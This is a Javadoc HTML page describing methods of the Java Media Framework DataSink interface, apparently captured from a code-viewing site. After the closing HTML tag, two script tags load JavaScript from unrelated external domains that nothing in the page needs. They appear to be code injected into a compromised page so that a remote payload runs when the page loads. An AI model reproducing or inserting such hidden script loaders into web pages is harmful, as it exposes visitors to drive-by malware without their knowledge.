📄 datasink.html
字号:
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="setOutputLocator(javax.media.MediaLocator)"><!-- --></A><H3>setOutputLocator</H3><PRE>public void <B>setOutputLocator</B>(<A HREF="../../javax/media/MediaLocator.html">MediaLocator</A> output)</PRE><DL><DD>Sets the output <code>MediaLocator</code> for this <CODE>DataSink</CODE>. This method should only be called once; an error is thrown if the locator has already been set.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>output</CODE> - A <code>MediaLocator</code> that describes where the output of this <CODE>DataSink</CODE> goes.</DL></DD></DL><HR><A NAME="getOutputLocator()"><!-- --></A><H3>getOutputLocator</H3><PRE>public <A HREF="../../javax/media/MediaLocator.html">MediaLocator</A> <B>getOutputLocator</B>()</PRE><DL><DD>Gets the output <code>MediaLocator</code> that describes where the output of this <CODE>DataSink</CODE> goes.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The output <code>MediaLocator</code> for this <code>DataSink</code>.</DL></DD></DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public void <B>start</B>() throws java.io.IOException</PRE><DL><DD>Initiates data transfer. You must call <CODE>open</CODE> before calling the <CODE>start</CODE> method.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - If there are IO problems with the source when <CODE>start</CODE> is called.</DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>() throws java.io.IOException</PRE><DL><DD>Stops the data transfer. If the source has not been connected and started, <CODE>stop</CODE> does nothing.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - If there are IO problems with the source when <CODE>stop</CODE> is called.</DL></DD></DL><HR><A NAME="open()"><!-- --></A><H3>open</H3><PRE>public void <B>open</B>() throws java.io.IOException, java.lang.SecurityException</PRE><DL><DD>Opens a connection to the destination described by the output <CODE>MediaLocator</CODE>. This method establishes a channel between this <CODE>DataSink</CODE> and its destination.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - If there are IO problems when <CODE>open</CODE> is called.<DD>java.lang.SecurityException - If there are any security violations while attempting to access the destination described by the output <CODE>MediaLocator</CODE>.</DL></DD></DL><HR><A NAME="close()"><!-- --></A><H3>close</H3><PRE>public void <B>close</B>()</PRE><DL><DD>Closes the connection to the destination described by the output <CODE>MediaLocator</CODE>. This method frees the resources used to maintain a connection to the destination. If no resources are in use, <CODE>close</CODE> is ignored. If <CODE>stop</CODE> hasn't already been called, calling <CODE>close</CODE> stops the data transfer. A <CODE>DataSink</CODE> can no longer be used once it has been closed.<DD><DL></DL></DD></DL><HR><A NAME="getContentType()"><!-- --></A><H3>getContentType</H3><PRE>public java.lang.String <B>getContentType</B>()</PRE><DL><DD>Gets a string that describes the content type of the media that this <CODE>DataSink</CODE> is consuming.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>A String that contains the name of the content-type.</DL></DD></DL><HR><A NAME="addDataSinkListener(javax.media.datasink.DataSinkListener)"><!-- --></A><H3>addDataSinkListener</H3><PRE>public void <B>addDataSinkListener</B>(<A HREF="../../javax/media/datasink/DataSinkListener.html">DataSinkListener</A> listener)</PRE><DL><DD>Adds an event listener for events generated by this <CODE>DataSink</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>listener</CODE> - The <CODE>DataSinkListener</CODE> to add.</DL></DD></DL><HR><A NAME="removeDataSinkListener(javax.media.datasink.DataSinkListener)"><!-- --></A><H3>removeDataSinkListener</H3><PRE>public void <B>removeDataSinkListener</B>(<A HREF="../../javax/media/datasink/DataSinkListener.html">DataSinkListener</A> listener)</PRE><DL><DD>Removes the specified event listener from this <CODE>DataSink</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>listener</CODE> - The <CODE>DataSinkListener</CODE> to remove.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/Controls.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/DataSinkProxy.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="DataSink.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -